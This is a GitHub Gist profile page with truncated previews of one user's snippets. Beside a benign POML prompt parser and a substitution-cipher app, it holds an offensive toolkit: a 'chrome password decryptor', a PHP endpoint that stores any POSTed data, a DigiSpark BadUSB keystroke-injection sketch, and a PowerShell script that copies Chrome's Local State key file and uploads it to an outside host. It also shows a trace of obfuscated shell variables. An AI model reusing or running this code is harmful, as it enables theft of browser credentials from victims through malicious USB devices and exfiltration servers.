Skip to content

Instantly share code, notes, and snippets.

View robyfirnandoyusuf's full-sized avatar
💼
I may be slow to respond.

Roby Firnando Yusuf (Aaron Wang) robyfirnandoyusuf

💼
I may be slow to respond.
View GitHub Profile
<prompt>
<system>Hello, you are a helpful assistant.</system>
<user>Follow these instructions carefully:</user>
<instructions>
<step>Summarize the text.</step>
<step>List the main points.</step>
<step>Give a one-line conclusion.</step>
</instructions>
<document src="sample.txt" />
</prompt>
@robyfirnandoyusuf
robyfirnandoyusuf / parser.py
Created August 12, 2025 17:29
simple parser POML
import xml.etree.ElementTree as ET
def load_document(path):
try:
with open(path, 'r', encoding='utf-8') as f:
return f.read()
except FileNotFoundError:
return f"[Document '{path}' not found]"
def render_prompt(poml_path):
@robyfirnandoyusuf
robyfirnandoyusuf / main.py
Created July 5, 2025 13:06
uuiiae cipher
import streamlit as st
# Mapping dari huruf ke cipher (hanya huruf kecil dan spasi)
cipher_map = {
'a': 'uu', 'b': 'ui', 'c': 'ua', 'd': 'ue', 'e': 'iu',
'f': 'ii', 'g': 'ia', 'h': 'ie', 'i': 'au', 'j': 'ai',
'k': 'aa', 'l': 'ae', 'm': 'eu', 'n': 'ei', 'o': 'ea',
'p': 'ee', 'q': 'uuu', 'r': 'uui', 's': 'uua', 't': 'uue',
'u': 'iuu', 'v': 'iui', 'w': 'iua', 'x': 'iue', 'y': 'aau',
'z': 'aai', ' ': 'aaa'
@robyfirnandoyusuf
robyfirnandoyusuf / decrypt.py
Created June 8, 2025 08:26
chrome password decryptor
import ctypes
import sys
import time
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
<?php
$profile = isset($_GET['name']) ? $_GET['name'] : 'unknown';
$profile = preg_replace('/[^a-z0–9_\-]/', '', strtolower($profile));
$filename = "logs/" . $profile . ".bin";
if (!is_dir("logs")) {
 mkdir("logs", 0755, true);
}
file_put_contents($filename, file_get_contents('php://input'));
http_response_code(200);
echo "Saved as $filename";
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.println("cmd");
$profiles = Get-ChildItem "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data" | Where-Object { $_.Name -like "Profile *" }
$localStatePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Local State"
$tmpLocalState = "$env:TEMP\local_state"
Copy-Item -Path $localStatePath -Destination $tmpLocalState -ErrorAction SilentlyContinue
if (Test-Path $tmpLocalState) {
Invoke-WebRequest -Uri "https://website.hook?name=local_state" -Method Post -InFile $tmpLocalState -ContentType "application/octet-stream"
Remove-Item $tmpLocalState -Force -ErrorAction SilentlyContinue
@robyfirnandoyusuf
robyfirnandoyusuf / app.py
Created November 3, 2022 06:18
Inspect me pls
import mimetypes
from flask import Flask, render_template, request, Response, send_file, stream_with_context
from random import randint
import time
# Flask constructor takes the name of
# current module (__name__) as argument.
app = Flask(__name__, template_folder='template')
approvals = []
+ z='
'
+ cABz='='\''MD'
+ qWBz=';hFz'
+ CXBz=''\''FDz'
+ gQz='z'\'';r'
+ qCz=''\''OIz'
+ svz=';coz'
+ JRBz=''\'';iP'
@robyfirnandoyusuf
robyfirnandoyusuf / backup-vscode
Created September 4, 2021 12:05
backup-vscode
test